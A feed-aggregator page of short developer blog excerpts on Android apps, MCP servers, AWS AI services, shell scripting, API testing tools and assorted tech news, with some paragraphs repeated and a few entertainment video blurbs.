🚀 I Just Launched My First Android App — VyomaNote! Hi everyone! 👋 my first Android app, built completely from scratch: VyomaNote under the Vyoma project. 👉 Download the Release: GitHub Release: VyomaNoteAndroid – Vyoma https://github.com/psjdeveloper/VyomaNoteAndroid/releases/tag/Vyoma) VyomaNote is a simple, clean, lightweight note-taking app designed to focus on what truly matters — your thoughts. No ads, no distractions, no unnecessary complexity. My vision behind the Vyoma project is to build minimal, open-source tools that are: VyomaNote is the first step toward that vision. Here’s what the app currently offers: 📝 Create and edit notes instantly 📁 Local storage (your data stays on your device) 🎨 Clean & distraction-free UI ⚡ Fast performance 📴 Works fully offline 🔓 Open-source (MIT License) This is just the beginning — I plan to expand it with more powerful features over the next updates. VyomaNote is built using: Kotlin Android Jetpack Components MVVM Architecture ViewModel + LiveData Room Database This project helped me level up my Android development skills and understand app architecture more deeply. I’m currently working on: 📌 Note categories / tags 🔍 Search notes 🌙 Dark mode ☁️ Cloud backup (optional) 📤 Export notes (PDF / Markdown) 🖼️ Attach images / audio 🔐 Fingerprint / PIN lock for private notes If you have suggestions, feel free to open an issue on GitHub! The entire project is open source — you can explore the code, report issues, or contribute improvements. 🔗 GitHub Repo: https://github.com/psjdeveloper/VyomaNoteAndroid This is my first official Android app, and launching it means a lot to me. Thanks for reading, and stay tuned for more updates from the Vyoma ecosystem! 🚀💙  ( 7 min )

Hi, I'm building a time management app. I'd appreciate any feedback from users of this type of app. https://5mgrid.com/en  ( 6 min )

Hi, I’m fjm2u. In this post I’ll show how to expose an MCP server that’s running locally behind MCP Router to the internet via Cloudflare Tunnel, so that remote clients like ChatGPT can use your local MCP tools. I’ve been building a local MCP management app called MCP Router for about eight months: / mcp-router MCP Router A Unified MCP Server Management App [English | 日本語 | 中文] 🎯 Overview MCP Router is a desktop application for simplifies the management of Model Context Protocol (MCP) servers. ✨ Key Features 🌐 Universal — Connect to any MCP server Remote or local servers Supports DXT, JSON, Manual 🖥️ Cross-platform — Windows and macOS 🗂 Context Management — Keep growing MCP server contexts organized Group MCP servers into Projects Manage modes with Workspaces…  ( 10 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God In a world saturated with information, the quest for wisdom, guidance, and meaning has never been more urgent. For centuries, humanity has sought counsel from divine sources, turning inward and upward in prayer. Today, a new oracle has emerged: Artificial Intelligence. Millions now turn to AI for instant answers, complex solutions, and even life advice. We input a prompt and receive a meticulously structured output within seconds. This technological shift is fundamentally altering how we define truth, meaning, and purpose, forcing us to stand at a critical crossroads. This isn't merely a debate between technology and faith; it’s a profound comparison betw…  ( 11 min )

Explaining why the singleton pattern retains the previous value: // ONE instance created when module loads const playwrightManager = new PlaywrightBrowserManager(); // This instance has properties: // - this.browser = null (initially) // - this.context = null (initially) Scenario 1: First request // Request A comes in playwrightManager.launchBrowser({ headless: false }) → this.browser = BrowserInstance1 (headless: false) ✅ → Browser window opens Scenario 2: Second request (the problem) // Request B comes in 2 seconds later playwrightManager.launchBrowser({ headless: true }) → Checks: Does this.browser exist? YES (BrowserInstance1) → Checks: Is it connected? YES (still running) → Checks: Does headless match? NO (false vs true) → BUT: BrowserInstance1 was ALREADY launched with…  ( 8 min )

Monetization Without Paywalls: The Future of AI App Revenue The biggest challenge in AI today? Monetization without killing user experience. With the rapid explosion of AI applications, developers are eager to harness the potential of their creations but often find themselves grappling with how to generate revenue without imposing paywalls that alienate users. Enter Monetzly—the Google Ads for AI conversations. Imagine a world where you can monetize your AI app and earn from hosting relevant ads—all without charging your users a dime. Monetzly is the first dual-earning platform designed specifically for the AI ecosystem. It empowers developers to create sustainable revenue streams while providing advertisers with access to engaged AI app users through conversation-native advertising. The…  ( 7 min )

Most download bugs do not show up in crashlytics. They show up as angry users, half written files, and silent failures when Android decides that your background work is no longer welcome. 😤 I hit this wall while working on the Microsoft Foundry Local Android App, where we ship large on device models that must stay confidential inside the app sandbox. 🔐 That is where SteadyFetch was born. Android DownloadManager is great when you want to save a PDF into Downloads and let the user open it from a notification. It is not so great when you care about security and control. Here are the pain points that pushed me to build my own downloader: You cannot directly stream into internal app storage with a simple DownloadManager request. The normal flow wants to write into public or shared location…  ( 8 min )

🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System — Transforming Fractured Personas into Hope https://dev.to/kato_masato_c5593c81af5c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture — Core Foundations https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Full Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Silent-Civ — Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-ci…  ( 7 min )

Part 1 - The Essentials: Shebang, Shell Types, Basic Syntax, Variables & User Input By Ashish — Learn in Public DevOps Journey (Week 2) https://www.linkedin.com/in/ashish360/ https://github.com/ashish0360/devops-learn-in-public/tree/main/shell-scripting-for-devops 📘 Table of Contents Why Shell Scripting Matters in DevOps What is a Shell? (bash, sh, dash) The Shebang (#!) Running a Shell Script Basic Syntax: echo, comments, variables Reading User Input (read) Script Arguments ($0, $1, $2) Debugging & Error Handling (set -x, set -e, set -o pipefail) Essential Commands You’ll Use Daily Summary & What’s Next (Part 2 Preview) 🚀 Why Shell Scripting Matters in DevOps …you are essentially writing or using shell scripts. 🧠 What Is a Shell? (bash vs sh vs dash) A shell executes your comman…  ( 24 min )

The Microsoft Agent Framework significantly elevates AI agent orchestration. A standout feature is its implementation of the Agent–User Interaction (AG-UI) Protocol, which standardizes how AI agents connect to user-facing applications. Below is a quick-start guide to connecting these components into a fully end-to-end solution using local Ollama models. First, configure the dependency injection container. The ChatClientAgent is based on the IChatClient abstraction from Microsoft.Extensions.AI. Note: We register the agent as a Keyed Service to allow for multiple distinct agents within the same host. var builder = WebApplication.CreateBuilder(args); // 1. Register the Ollama Client builder.Services.AddTransient(provider => { var factory = provider.GetRequiredService<IHttpCl…  ( 7 min )

Everyone’s talking about the new 1M-token, multimodal AI wave; the real opportunity is how you turn it into revenue, speed, and defensible workflows. Google’s Gemini 3 Pro raised the bar, but the loudest demos won’t win. The edge goes to teams that ship one real workflow in 30 days. Most leaders secretly overcomplicate this and waste a quarter. Long context and multimodal isn’t just bigger memory; it’s new leverage. You can unify docs, logs, images, audio, and video into one system. I learned the simple truth: pick one painful job and wrap it with guardrails. Then design evals and feedback loops so it actually improves. Don’t chase perfect agents; chase dependable workflows with clear SLAs. Example scenario: A support team loads 500k tokens of guides and 50 hours of call audio. The agent drafts answers, links sources, and flags risk cases for human review. Handle time drops 35% in 4 weeks, CSAT rises 12 points, and reopens fall 28%. ↓ 30‑day plan that works. • Week 1 → choose one use case, define success, and set guardrails and escalation paths. • Week 2 → build the workflow, add source citations, and create a simple eval set. • Week 3 → pilot with 5-10 users, measure speed, quality, and failure modes. • Week 4 → harden, add alerts, and integrate into your main tools. ↳ Tip: If it takes more than 10 prompts to steady, the scope is too big. Do this and you transform a flashy demo into durable advantage. You’ll ship faster than rivals and learn immediately from real usage. That’s how you build moats in the new AI cycle. What’s stopping you from shipping one production multimodal workflow in the next 30 days?  ( 7 min )

Intro Read the post VolBack: Backup Tool Part 1 to get familiar with basics ideas There are special cases of backup volume calculations. If n = 1, we don't need a at all. Therefore S1=x1S_1 = x_1 S1​=x1​ If a is absent, so Sn=n⋅x1S_n = n \cdot x_1 Sn​=n⋅x1​ If a is static, so Sn=n⋅x1+∑i=1n−1(n−i)⋅aS_n = n \cdot x_1 + \sum_{i=1}^{n-1} (n-i) \cdot a Sn​=n⋅x1​+∑i=1n−1​(n−i)⋅a  ( 6 min )

With Wicked back in theaters, CinemaSins straps on their ruby slippers for a brisk, 15-minute “Everything Wrong With The Wiz” takedown—spotlighting every plot hole, cheesy effect and head-scratching moment you probably forgot. And yes, they still want you to swing by cinemasins.com, subscribe to TVSins, CommercialSins and their podcast network, join the Discord/Reddit fam, fill out their sinful poll, and maybe toss a coin to their Patreon to keep the sin meter ticking. Watch on YouTube  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

If you are learning Java Collections Framework, then HashSet is one of the most important topics for interviews and exams. HashSet is used to store unique elements only and provides fast performance using hashing. To help you master this topic, here are some beginner-friendly MCQs on Java HashSet with answers and explanations👇 MCQ's Practice: https://www.quipoin.com/practice-mcqs/java/hashset  ( 6 min )

Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Maximum Stone Removal Difficulty: Medium Accuracy: 49.82% Given an 2D array of non-negative integers stones[][] where stones[i] = [xi , yi] represents the location of the ith stone on a 2D plane, the task is to return the maximum possible number of stones that you can remove. One way to remove 5 stones is as follows: Remove stone [2, 2] because it shares the same row as [2, 1]. Remove stone [2, 1] because it shares the same column as [0, 1]. Remove stone [1, 2] because it shares the same row as [1, 0]. Remove stone [1, 0] because it shares the same column as [0, 0]. Remove stone [0, 1] because it shares the same row as [0, 0].…  ( 7 min )

The Google Cloud Billing API programmatically accesses your cloud billing data. It lets you retrieve detailed cost and usage information to build cost management custom solutions, automate billing processes, and give deeper cloud spend insights. Essentially, it transforms raw billing data into actionable intelligence. Billing data becomes powerful only when transformed into insight The API does not manage billing itself, but rather provides the data required to do so properly. It solves the problem of having to download CSV reports manually and work at analyzing them. Instead, you are able to integrate billing data directly into your existing monitoring, alerting, and reporting systems. Currently, the API has a RESTful interface that returns JSON responses. While there are no rigidly def…  ( 8 min )

The UPI Payment Architecture is a fast, secure, and highly scalable system that enables real-time money transfers between banks using simple APIs. It connects users, banks, and payment apps through the NPCI switch, ensuring instant validation and seamless routing of transactions. With features like virtual payment addresses, strong authentication, and encrypted communication, UPI provides a safe and effortless digital payment experience for both users and businesses. Storage Estimate: Helps determine how much data your system will store over time, ensuring enough capacity for growth and smooth performance. Traffic Estimate: Predicts how many users or requests your system will handle, helping plan server capacity, scaling, and overall system stability. Scalability for UPI System Design 1. Horizontal Scaling (Adding More Servers) Distributes requests across servers to support more users. Prevents overload during traffic spikes or festivals. Ensures continuous service without downtime. 2. Database Scalability (Sharding and Replication) Splits data for faster access and management. Uses replicas to handle more read requests. Keeps the system responsive as data grows. 3. Caching (In-Memory Storage) Stores frequent data in memory to reduce database queries. Improves response time for users. Supports scaling read-heavy operations efficiently. 4. Auto-Scaling (Dynamic Resource Management) Automatically adds or removes servers based on traffic demand. Maintains service availability during sudden usage spikes. Reduces costs by adjusting resources when not needed. Conclusion The UPI system’s scalable design ensures it can support massive transaction volumes without compromising speed or reliability. By using distributed architecture and horizontally scalable components, it adapts seamlessly to growing user demand. Overall, UPI stands as one of the world’s most efficient and future-ready digital payment infrastructures.  ( 7 min )

Je m’appelle Ayoub mais en ligne on me connaît surtout sous le nom de Tismodev (Tismo). Je suis développeur web freelance à Verviers (Belgique) et je construis deux types de projets : des sites vitrines modernes avec front en HTML/CSS/JavaScript ou React/Next.js, et quand il faut un back-end léger j’utilise PHP + bases de données SQL ; des bots Discord et petites automatisations pour les communautés et serveurs pros. Dans cet article, je résume simplement ce que je fais et comment je peux aider un client qui n’y connaît pas grand-chose en technique. Mon but n’est pas de faire des usines à gaz, mais des sites : rapides, clairs, faciles à mettre à jour. Je travaille principalement avec : HTML / CSS / JavaScript pour les sites “classiques” ; React / Next.js quand il y a besoin de plus d’inte…  ( 8 min )

Introduction I built a browser-based curl command generator using React. In this article, I’ll introduce the app, explain how to use it, share the background behind the development, and talk about the challenges and lessons learned along the way. ▶ App URL: https://d249wz41volo8p.cloudfront.net This application is a tool that automatically generates curl commands for sending HTTP requests. Select the HTTP method (e.g., GET, POST). Enter the request URL. Add headers, body, or authentication info as needed. Choose additional options (e.g., -i, -L, -v, -k) using checkboxes. The curl command is generated and displayed in real time based on your input. Click the Copy button to copy it to your clipboard. ✅ Quickly test API requests. Real-time curl command generation based on input. Common opt…  ( 11 min )

The Problem Picture this: It's 2 AM. You're deep in API testing. You've got 15 endpoints to test, each with auth tokens, custom headers, and JSON bodies. Option 1: Postman Open Postman... loading... still loading Internet hiccups? Request failed. Crashes randomly. Lost your work. 500MB+ of RAM just sitting there. Option 2: curl curl -X POST https://api.example.com/auth/login \ -H "Content-Type: application/json" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -d '{"email":"test@example.com","password":"secret123"}' Every. Single. Time. No memory. No variables. Copy-paste hell. I was tired. So I built something better. Lightweight API testing CLI — curl with a brain. # What used to be this nightmare... curl -X POST https://api.myapp.com/auth/login \ -H "Au…  ( 9 min )

There’s something I’ve been wrestling with lately. A thought that keeps popping up in meetings, airport lounges, and those late-night work sessions where you suddenly realise you’re still staring at the same notebook page. It’s this: Public transit doesn’t actually need more technology. It needs more hands. Not literal hands. Not more staff. It needs more capacity, the operational kind. And AI agents are quietly becoming the closest thing we’ve ever had to adding 20 extra operations specialists without hiring a single person. Let me break down why this matters, what transit agencies, transit suppliers, or founders should be building, and why the next wave of transit innovation won’t come from dashboards… but from autonomous “digital operators” sitting inside the system. We Don’t Need More …  ( 9 min )

The Beginning: Automating Everything Like many developers, I've been obsessed with using AI to automate my workflows. I started small—using individual n8n automations for individual tasks. The more I used it, the more I wondered: "How can I bring all these workflows together?" Then the question shifted. It wasn't just about efficiency anymore. It became: "If AI can do this, what's stopping it from doing my entire job?" That thought kept nagging at me. I'm a product manager, and I spend a lot of time creating the same artifacts over and over: user stories, acceptance criteria, feature breakdowns, database schemas, wireframes. These are the things that bridge the gap between "we want to build X" and "here's what engineers need to code." What if I could build something that maintains the co…  ( 10 min )

.NET 10 (LTS) marks a powerful leap forward in modern software development, bringing enhanced performance, smarter tooling, stronger security, and a seamless developer experience across cloud, web, mobile, and desktop applications. This release not only improves speed and efficiency but also deepens integration with AI-driven development and cloud-native architectures, making it easier than ever for developers and organizations to build scalable, future-ready solutions. Boosted Performance & Efficiency: .NET 10 delivers major runtime and JIT optimizations, resulting in faster execution, reduced memory usage, and overall improved app responsiveness. Enhanced AI & Cloud-Native Support: Built-in improvements for AI-assisted development and stronger integration with cloud-native architectures make it easier to build intelligent, scalable, and modern applications. Conclusion In conclusion, .NET 10 (LTS) sets a strong foundation for the future of application development, combining performance, security, and modern tooling into a unified, developer-friendly platform. With its powerful new features and long-term support, it empowers teams to build scalable, high-quality solutions that are ready to meet today’s demands and tomorrow’s innovations.  ( 6 min )

"How much will this cost?" 💸 This is the #1 question every CTO asks. And usually, the answer is "It depends." But "it depends" doesn't pay the bills. In this post, we are going to do the math. We will compare the costs of running a production AI app using AWS Bedrock, OpenAI, and Self-Hosted Open Source Models. Most managed AI services charge by the "Token" (roughly 0.75 words). As of late 2024, these are the two kings. Model Input Cost (per 1M tokens) Output Cost (per 1M tokens) OpenAI GPT-4o $5.00 $15.00 Bedrock Claude 3.5 Sonnet $3.00 $15.00 The Verdict: Claude 3.5 Sonnet on Bedrock is cheaper on input. OpenAI is great, but for Enterprise, it has hidden costs: Data Privacy: If you need a private instance, "ChatGPT Enterprise" starts at ~$60/user/month with high minimums.…  ( 7 min )

Between 1985 and 1987, a radiation therapy machine called the Therac-25 killed three people and seriously injured three others. The machine was supposed to deliver controlled doses of radiation to cancer patients. Instead, it delivered radiation doses hundreds of times higher than intended. The cause? A race condition in the C code controlling the machine. When an operator entered treatment parameters too quickly, the software would configure the machine for high-energy electron mode while the safety mechanisms thought it was in low-energy X-ray mode. The patients received massive radiation overdoses. One victim, a 33-year-old woman, felt an intense burning sensation during treatment. She died from radiation poisoning. Another patient, a man receiving treatment for a tumor, received such a…  ( 11 min )

The Problem with "Generic" AI 🤖 We all love ChatGPT. But have you ever tried to ask it about a specific error in your company's private code? "I'm sorry, I don't have access to your internal repositories." Or asked it why your specific AWS bill is so high this month? "I cannot access your real-time billing data." This is the "Context Gap." Generic AI is smart, but it's blind to your work. Enter Amazon Q. Think of Amazon Q as an AI assistant that lives inside your AWS account and your IDE (VS Code / IntelliJ). It’s not just trained on the internet; it connects to your data: Your Code: It reads your private Git repos. Your AWS Environment: It knows what EC2 instances you have running. Your Docs: It can read your internal Confluence wikis and PDFs. You can install Amazon Q as a plugin i…  ( 7 min )

Based on my personal experience. But blend with a Journalist-like story to make it more interesting. Kuala Lumpur — It’s a scene familiar to many in the tech world: a young developer, lit by the glow of a laptop screen, celebrates the launch of their first simple web application. But for seasoned software engineer Ahmad (not his real name), that moment was just the first step of a decade-long journey climbing from novice coder to technical architect—a journey marked less by the mastery of CRUD (Create, Read, Update, Delete) and more by a relentless pursuit of growth and complexity. “I still remember the first time my own app let someone add and delete a note,” Ahmad recalls. “It felt like magic. CRUD opened the gate to programming for me. But I eventually realized it’s really just basic s…  ( 8 min )

The "Fun" Side of AWS 🎉 Usually, when people talk about AWS, they talk about servers, databases, and billing alarms. 😴 But recently, AWS released something completely different. It’s called PartyRock, and it’s the most fun I’ve had with AI in years. Here is the pitch: No AWS Account required. (Yes, really). No Credit Card required. No Coding required. 100% Free (for now). It lets you build your own "Mini AI Apps" just by describing them. Anything that takes text in and gives text/images out. A "Dad Joke" Generator 🥸 A "Meal Prep" Planner 🥦 A "Dungeons & Dragons" Storyteller 🐉 A "Professional Email" Rewriter 📧 We are going to build an app where you type in a person's interests, and it suggests 3 unique gifts + generates an image of the wrapping paper. Head over to …  ( 7 min )

> By FlameAI Studio ⭐ Introduction Search is entering its biggest shift since the early 2000s. A new category is rising fast: AI browsers — tools like Arc Search, Perplexity, Rabbit, and Rewind that search for you instead of showing you a list of links. This is not a small UX tweak. new way of interacting with the internet. In 2025, AI browsers will become the main gateway to information — and creators, developers, and businesses must adapt now. 🔍 What Is an AI Browser? An AI browser does two things that traditional browsers don’t: 1. Searches on your behalf Instead of typing keywords → clicking links → scanning pages, 2. Understands intent, not keywords AI browsers don’t rely on exact-match terms. “Find the best free puzzle sites” “Compare cognitive models behind 16-type personality …  ( 8 min )

Stop Reinventing the Wheel 🛑 When you start building with AI on AWS, you'll realize something quickly: Everyone is trying to solve the same problems. "How do I chat with my PDF documents?" (RAG) "How do I run this cheaply without managing servers?" (Serverless) "How do I make the AI take action, not just talk?" (Agents) The good news? AWS has already published production-ready blueprints for these. In this post, I’ve curated the best architectural patterns and Proof-of-Concept (POC) repositories directly from the AWS team. Treat this as your "Cheat Sheet" for starting any AI project. The Problem: LLMs (like Claude or GPT) don't know about your private data. They hallucinate when asked about your specific company policies. The Solution: Retrieval Augmented Generation (RAG). You "re…  ( 8 min )

So, You Want to Build with AI? 🤖 Let’s be honest: "Artificial Intelligence" sounds intimidating. You picture complex math, endless lines of Python code, and expensive supercomputers. But here’s the secret: You don’t need to build the brain. You just need to know how to talk to it. Today, cloud giants like AWS (Amazon Web Services) have done the hard work for us. They’ve wrapped powerful AI models into simple "services" that you can use like Lego blocks. In this guide, I’ll show you how a complete beginner can start using AWS AI services to build real, working applications. No PhD required. Imagine having access to the smartest AI models in the world (like Claude, Llama, or Stable Diffusion) all in one place. That’s AWS Bedrock. It’s not a model itself; it’s a gallery of models. You walk…  ( 8 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, giving the 1978 musical The Wiz a no-holds-barred “everything wrong” breakdown—just in time for Wicked’s big-screen return. Expect their signature snark as they rip into plot holes, odd song choices, and any wink-and-nod goofs they can find in under 15 minutes. They’ve also packed the video description with all the good stuff—links to their main site, social channels, a sinful poll, Patreon support, Discord, Reddit, and even Jeremy’s book—so you can keep the fandom (and the nitpicking) going long after the credits roll. Watch on YouTube  ( 6 min )

TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a cheeky rundown of the movie’s biggest goofs, quirks and Easter eggs. Beyond the video, they’re hyping up their website, Discord, Reddit community and socials, plus a poll and Patreon for fans who want to dive deeper. They also drop a shout-out to their writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and a full lineup of links so you can binge their other content on YouTube, Instagram, TikTok and more. Watch on YouTube  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Experiment Ojalá Frank Vega ・ Nov 23 #ai #performance #productivity #python  ( 6 min )

Nine months ago I did the thing every self-hating coder does: I started a project I probably shouldn’t. Fast forward, and somehow I solo-built a production-ready social media platform called 404Nerds — a community for gamers, game designers, and anyone who loves nerd culture. I built it in Ruby on Rails (because why not, Rails is still awesome). Right now we’ve got ~15 active users posting 2–3 times a day. Not huge, but hey, for a place no one’s heard of, I’ll take it. Why am I sharing this? Part bragging rights, part looking for feedback, and part inviting you to join. If you want to be part of a scrappy new community, check out 404Nerds Drop a post, share a meme, or just lurk — all welcome.  ( 6 min )

In the last blog post, I discussed a record, which is a composite data type. In this blog, I’ll talk about another composite data type: a collection. According to Oracle documentation, “A collection is an ordered group of data elements, all of the same type.” A collection is a data structure similar to a list or array in other programming languages. PL/SQL supports three types of collections: Associative arrays, Nested tables, and Varrays. Associative Arrays Nested Tables VARRAYs *single-dimensional: A PL/SQL collection always has just a single column of information in each row. *bounded and unbounded: A collection is bounded if it has predetermined limits for the number of rows. An unbounded collection has no upper or lower row limits. Let’s take a closer look at each type. Associative A…  ( 8 min )

Aegypti Analysis Using Perplexity AI Frank Vega Information Physics Institute, 840 W 67th St, Hialeah, FL 33012, USA vega.frank@gmail.com The Aegypti algorithm dramatically outperforms standard approaches on dense triangle-free graphs while remaining competitive on triangle-rich graphs. Aegypti delivers significant speedups—up to over 100x faster than NetworkX on some dense or structured graphs—while incurring no overhead on triangle-free graphs and performing competitively on triangle-rich graphs. import networkx as nx import time import matplotlib.pyplot as plt import numpy as np # --- AEGYPTI ALGORITHM --- def find_triangle_coordinates(graph, first_triangle=True): if not isinstance(graph, nx.Graph): raise ValueError("Input must be an undirected NetworkX Graph.") if nx…  ( 9 min )

Global Optimization: Finding the Needle in a Haystack – Faster Imagine searching for the perfect drug molecule, a revolutionary battery material, or the optimal investment strategy. Traditional optimization methods often get stuck in local optima, missing the truly best solution and wasting valuable resources. What if there was a more efficient way to navigate these complex landscapes? Introducing a novel approach to global optimization, one that dramatically accelerates the search for optimal solutions in high-dimensional, "black box" problems. This algorithm intelligently explores the search space, focusing its efforts on the most promising regions while avoiding premature convergence on suboptimal answers. It's like having a smart compass that quickly guides you towards the global opt…  ( 7 min )

getting user information after sign in. with AWS amplify gen2 and next.js, how to get user information after sign in ? in previous version of amplify gen1, Authenticator's user object has all the user information and can be get ,for example, by 'user.attribute.nickname'. but now actually i can't get with this user object. instead, i use 'fetchUserAttributes' to get user profile. the code is following; import { fetchUserAttributes } from 'aws-amplify/auth'; interface UserAttributes { [key: string]: string; } const [userAttributes, setUserAttributes] = useState(null); const getUserAttributes = useCallback(async () => { try { const attributes = await fetchUserAttributes(); setUserAttributes(attributes as UserAttributes); } catch (error) { console.error('Error fetching user attributes:', error); setUserAttributes(null); } }, []); this userAttributes has the information. and we get it with 'userAttributes.nickname' by each property.  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

When most people decide to enter tech, the first big question they face is: “Which programming language should I start with?” Everyone has an opinion. But after learning, struggling, and teaching beginners myself, one truth stands out clearly: Python is the best first language for anyone starting their tech journey. Let me tell you why. 1. Python Thinks Like Humans Do When you read Python code, it feels like reading English. if age > 18: print("You are an adult") No strange symbols. For beginners, this matters a lot. understanding programming, not fighting the syntax. 2. It Gets You Results Fast Python lets you build something quickly: ✔ A calculator ✔ A password generator ✔ A small game ✔ A chatbot ✔ A data analyzer Seeing your code work early gives you confidence to keep going. …  ( 7 min )

VCs Are Betting on AI Startups, But They're Missing This Jaideep Parashar ・ Nov 23 #ai #webdev #productivity #career  ( 6 min )

VCs are throwing money at AI startups faster than any funding cycle I’ve seen in years. But here’s the part people don’t talk about: VCs are over-indexing on the wrong things and underestimating the one factor that will actually decide the next wave of winners. After watching hundreds of pitches, products, and founders trying to ride the AI wave, here’s the truth I’ve learned: VCs are betting heavily on capability, but the real leverage in AI comes from distribution + behaviour change. Let me explain what they’re missing. 1. The Market Is Overcrowded With LLM Wrappers This is the biggest blind spot. More than 70% of AI startups today are: thin wrappers on top of OpenAI UI skins on top of the same APIs task-specific tools without real defensibility “AI-powered X for Y” apps with zero switch…  ( 12 min )

Análise de Vetores de Ataque em Arquitetura de Aplicações Web Obtuosa ・ Nov 22 #web #architecture #vulnerabilities #security  ( 6 min )

TL;DR Indie songwriter MJ Lenderman rips through his track “Rip Torn” live in the KEXP studio (recorded September 18, 2025), backed by his crew: Landon George on bass/fiddle, Jon Samuels on guitar, Trevor Nikrant on pedal steel/keys, and Avery Sullivan on drums. Cheryl Waters hosts, Kevin Suggs handles audio engineering, and Matt Ogaz masters the session to sonic perfection. Behind the scenes, five camera operators (Jim Beckmann, Carlos Cruz, Leah Franks, Scott Holpainen & Luke Knecht) and editor Jim Beckmann make the visuals pop. Check out more at mjlenderman.com or kexp.org—plus, if you’re feeling extra, you can join MJ’s YouTube channel for perks. Watch on YouTube  ( 6 min )

In my experience, developers burn months writing boilerplate, chasing config drift, and IaC before a single user arrives. The market rewards velocity, not heroics. Ship slower than your competitors and your idea dies, even if it's better. Here’s what I'm doing: Use a production-grade monorepo starter that forces discipline, standardization, and speed. TurboRepo plus a unified stack. Next.js for web, NestJS for backend and Expo for native. This delivers predictable builds, consistent types, shared UI libraries, and zero-friction DX. The result: one mental model, one dependency graph, one build pipeline. This structure eliminates 80% of early-stage chaos: mismatched TypeScript configs, duplicated components, fragmented API contracts, and slow local iterations. Shared packages consolidate types, UI primitives, and business logic. You stop gluing pieces together and start building business solutions. Most developers still opt for scattered repos, mismatched stacks, and brittle hand-rolled infra. That choice kills momentum. The fastest teams centralize everything, standardize aggressively, and automate the boring work out of existence. If you want leverage, the formula is: one repo, one toolchain, one source of truth. The devs who adopt this pattern dominate velocity metrics and out-ship teams twice their size.  ( 6 min )

For decades we imagined a world where our physical presence could be projected anywhere, where a machine could act as our stand-in while we remained comfortably at home. What once lived in science-fiction now sits at the edge of reality. Robotics is advancing, AI is accelerating, and a new design frontier is forming in the space between the two. In this article, I want to explore what the next generation of UX looks like when robots, remote operation, and human-in-the-loop systems blend into everyday products. Not as speculation, but as an honest look at where the market is quietly heading. A Shift From AI Hype to Practical Robotics We are living through an era where every product attempts to attach the AI label. However, underneath the noise is a more grounded evolution: ma…  ( 9 min )

